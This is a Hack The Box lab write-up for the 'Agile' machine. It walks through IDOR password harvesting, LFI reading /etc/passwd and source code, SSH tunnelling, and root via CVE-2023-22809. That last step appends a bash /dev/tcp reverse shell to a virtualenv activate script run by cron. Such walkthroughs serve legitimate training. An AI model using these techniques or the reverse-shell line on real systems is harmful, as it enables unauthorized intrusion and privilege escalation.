HTB Agile: Formal Writeup

9 min readAug 6, 2023


The Agile HTB Linux machine hosted a password manager that was vulnerable to IDOR and LFI. An attacker could exploit the IDOR to obtain the user corum’s SSH password and exploit the LFI to disclose the source code and other confidential files. Upon landing on the host, an attacker could build a SSH local port forwarding to find a test web application. The test web application was not significantly different from the main application, but it was vulnerable to the same IDOR vulnerability. By exploiting this vulnerability, an attacker could find a pair of credentials for the user edwards. The user edwards was able to run sudoedit commands only as the user “dev_admin” on two files. The host was also vulnerable to CVE-2023–22809, which could be exploited to add a reverse shell to the app/venv/bin/activate file and compromise the host.

Active Recon:

The attacker performed a nmap scan to find available open ports and running services.

└─$ sudo nmap -Pn -sV -sC --min-rate=5000 -T4

[sudo] password for toothless5143:
Starting Nmap 7.93 ( ) at 2023-07-29 04:19 CDT
Nmap scan report for
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds

From the initial port scanning 2 open ports were discovered SSH & HTTP. Nmap’s Script Engine revealed that the HTTP server redirects to the VHOST superpass.htb.

The attacker added the VHOST to their /etc/hosts file to discover the underlying web app.

└─$ echo " superpass.htb" | sudo tee -a /etc/hosts

Upon visiting the website its found that the website is a password manager and no other interactions were available except the /login endpoint. The login page wasn’t vulnerable to known attacks such as Credential stuffing or SQL injection.

Password Manager

While registering an user the web app threw an OperationalError which revealed that the app is based on python flask and the error exposed some sensitive source code paths.

Generated error while registering an account
File "/app/venv/lib/python3.10/site-packages/pymysql/", line 310, in _query


File "/app/venv/lib/python3.10/site-packages/pymysql/", line 548, in query

self._affected_rows = self._read_query_result(unbuffered=unbuffered)

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 775, in _read_query_result

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 1156, in read

first_packet = self.connection._read_packet()

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 701, in _read_packet

raise err.OperationalError(

The above exception was the direct cause of the following exception:
File "/app/venv/lib/python3.10/site-packages/flask/", line 2528, in wsgi_app

response = self.handle_exception(e)

File "/app/venv/lib/python3.10/site-packages/flask/", line 2525, in wsgi_app

response = self.full_dispatch_request()

File "/app/venv/lib/python3.10/site-packages/flask/", line 1822, in full_dispatch_request

rv = self.handle_user_exception(e)

File "/app/venv/lib/python3.10/site-packages/flask/", line 1820, in full_dispatch_request

rv = self.dispatch_request()

File "/app/venv/lib/python3.10/site-packages/flask/", line 1796, in dispatch_request

return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)

File "/app/app/superpass/infrastructure/", line 15, in view_method

response_val = f(*args, **kwargs)

File "/app/app/superpass/views/", line 35, in register_post

user = user_service.create_user(username, password)

File "/app/app/superpass/services/", line 8, in create_user

if get_user_by_name(username):

File "/app/app/superpass/services/", line 36, in get_user_by_name

tmp = session.query(User).filter(User.username == username).first()

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/orm/", line 2824, in first

return self.limit(1)._iter().first()

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/orm/", line 2916, in _iter

result = self.session.execute(

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/orm/", line 1714, in execute

result = conn._execute_20(statement, params or {}, execution_options)

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/", line 1705, in _execute_20

return meth(self, args_10style, kwargs_10style, execution_options)

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/sql/", line 334, in _execute_on_connection

return connection._execute_clauseelement(

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/", line 1572, in _execute_clauseelement

ret = self._execute_context(

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/", line 1943, in _execute_context


File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/", line 2124, in _handle_dbapi_exception


File "/app/venv/lib/python3.10/site-packages/sqlalchemy/util/", line 211, in raise_

raise exception

File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/", line 1900, in _execute_context


File "/app/venv/lib/python3.10/site-packages/sqlalchemy/engine/", line 736, in do_execute

cursor.execute(statement, parameters)

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 148, in execute

result = self._query(query)

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 310, in _query


File "/app/venv/lib/python3.10/site-packages/pymysql/", line 548, in query

self._affected_rows = self._read_query_result(unbuffered=unbuffered)

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 775, in _read_query_result

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 1156, in read

first_packet = self.connection._read_packet()

File "/app/venv/lib/python3.10/site-packages/pymysql/", line 701, in _read_packet

Vulnerability Analysis & Exploitation:

During the manual exploration, an end point was found which was vulnerable to IDOR’s. The vulnerable endpoint was http://superpass.htb/vault/edit_row/<ID>. While editing an entry from the vault it was possible to view other user’s password by changing the ID.

Captured request from burp

It was possible to compromise a few user’s password by brute forcing the endpoint, /vault/edit_row/ID from 0–10 using Burp Intruder. The notable able passwords are mentioned below.

ticketmaster - corum:<REDACTED>
mgoblog - corum:<REDACTED>
agile - corum:<REDACTED>

While testing different functionalities of the web app, exporting the password manager’s data revealed an interesting endpoint named /download.

A new endpoint was discovered

Upon researching further it was found out that the parameter ?fn=* is vulnerable to LFI. And it was possible to get the users list on the host by exporting the /etc/passwd file by exploiting the same LFI vulnerability.

Exporting the /etc/passwd file by exploiting the LFI

Contents of /etc/passwd:

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false

Through the same vulnerability it was also possible to disclose the web app’s source code from the revealed source code paths found from the earlier OperationalError.

Upon inspecting /etc/passwd thoroughly a user named corum was found. And the same user’s credentials were compromised through the IDOR vulnerability.

It was possible to gain the initial foothold and first flag by SSH’ing into the host by using the compromised user’s password.

└─$ ssh corum@

corum@'s password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
corum@agile:~$ cat user.txt

Post Exploitation:

The linpeas was transferred to the host using python’s http.server module but found nothing important upon executing the script. During the manual exploration process it was found that a test version of the web app was running on port 5555 on localhost from the /app directory.

corum@agile:/app/app-testing/superpass$ cat                                                                                                                      
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
def dev():

Upon inspecting the /etc/hosts file for interesting entries, a new subdomain test.superpass.htb was found.

corum@agile:~$ /app/app-testing$ cat /etc/hosts localhost superpass.htb test.superpass.htb agile

The locally hosted web app was explore able on the attacker’s host by building a SSH’s local port forwarding tunnel.

└─$ ssh -L 8080:localhost:5555 corum@

corum@'s password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)

The web app was fully functional over the SSH tunnel.

Exploring the internally hosted web app

Lateral Movement:

The web application was not significantly different from the main application. After registering an account and testing for previously identified vulnerabilities, it was determined that the web application was vulnerable to the exact same vulnerabilities as the main application.

At the time of testing the same IDOR vulnerability a pair of credential for the user edwards was exposed.

Discovering an user’s password named edwards on the local web app
agile - edwards:<REDACTED>

Privilege Escalation:

After logging in using the SSH protocol and listing the sudo privileges for the user edwards, some interesting entries were discovered.

└─$ ssh edwards@

edwards@'s password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
edwards@agile:~$ sudo -l

Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

The user edwards was able to run sudoedit commands only as the user “dev_admin” on these two files. After visiting the /app/config_test.json file, a pair of credentials was found.

MYSQL_LOGIN : superpasstester

Additionally a cron job was present that was triggering a python QA test script trough virtual environment.

root 992 0.0 0.0 4304 2596 ? Ss Mar04 0:01 /usr/sbin/cron -f -P
root 84861 0.0 0.1 7756 4264 ? S 14:59 0:00 _ /usr/sbin/CRON -f -P
runner 84863 0.0 0.0 2888 972 ? Ss 14:59 0:00 _ /bin/sh -c /app/

A close inspection of the sudo version revealed that that the machine was vulnerable to the CVE-2023–22809 vulnerability. This vulnerability could be exploited to view and edit any files that were owned by the dev_admin user.

edwards@agile:/app$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

After some file system enumeration it was noticed that the user dev_admin has write permissions over the python’s virtual environment activation scripts.

edwards@agile:/app$ ls -la venv/bin/
total 1380
drwxrwxr-x 2 root dev_admin 4096 Aug 4 08:42 .
drwxrwxr-x 5 root dev_admin 4096 Feb 8 16:29 ..
-rw-r--r-- 1 root dev_admin 9033 Aug 4 08:42 Activate.ps1
-rw-rw-r-- 1 root dev_admin 1976 Aug 4 08:42 activate
-rw-r--r-- 1 root dev_admin 902 Aug 4 08:42 activate.csh
-rw-r--r-- 1 root dev_admin 2044 Aug 4 08:42
-rwxrwxr-x 1 root root 213 Aug 4 08:42 flask
-rwxr-xr-x 1 root root 222 Jan 24 2023 gunicorn
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pip
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pip3
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pip3.10
-rwxrwxr-x 1 root root 226 Aug 4 08:42 py.test
-rwxrwxr-x 1 root root 226 Aug 4 08:42 pytest
lrwxrwxrwx 1 root root 7 Aug 4 08:42 python -> python3
lrwxrwxrwx 1 root root 16 Aug 4 08:42 python3 -> /usr/bin/python3
lrwxrwxrwx 1 root root 7 Aug 4 08:42 python3.10 -> python3
-rwxrwxr-x 1 root root 1349984 Jan 23 2023 uwsgi

At this point, the vulnerability could be used in conjunction with the writable venv files to attempt to escalate privileges to the root user by appending a simple reverse shell to the /app/venv/bin/activate file.

Setting up a netcat listener:

└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...

Then the following command was applied to set the EDITOR environment variable to the value vi — /app/venv/bin/activate and then the sudoedit command was used to edit the file /app/config_test.json as the user dev_admin.

edwards@agile:/app$ EDITOR='vi -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json

# Append the file
bash -i >& /dev/tcp/ 0>&1

Upon awaiting the cron job to execute the QA test script, the QA test script used Python’s virtual environment to trigger the payload. The payload then gave the attacker control of the machine.

└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 48680
bash: cannot set terminal process group (10129): Inappropriate ioctl for device
bash: no job control in this shell
bash: connect: Connection refused
bash: /dev/tcp/ Connection refused
root@agile:~# whoami

After receiving the reverse connection with the permissions of the root user, the attacker obtained the third flag and completely compromised the machine.

Signing out,
- Toothless